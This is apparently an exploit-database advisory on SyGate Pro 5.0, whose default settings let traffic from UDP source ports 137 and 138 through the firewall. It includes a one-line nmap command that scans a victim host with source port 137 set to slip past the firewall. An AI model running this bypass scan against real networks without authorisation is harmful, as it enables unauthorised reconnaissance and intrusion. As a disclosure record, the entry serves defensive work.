SyGate 5.0 - Insecure UDP Source Port Firewall Bypass Weak Default Configuration

Author: David Fernández
type: remote
platform: multiple
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date_added: 2003-01-24 
date_updated: 2012-10-24 
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source: https://www.securityfocus.com/bid/6684/info

It has been reported that the Sygate Pro firewall permits traffic originating from UDP source port 137 or 138 by default. This may allow a remote attacker to bypass the firewall.

nmap -vv -P0 -sU %victims_ip_address% -g 137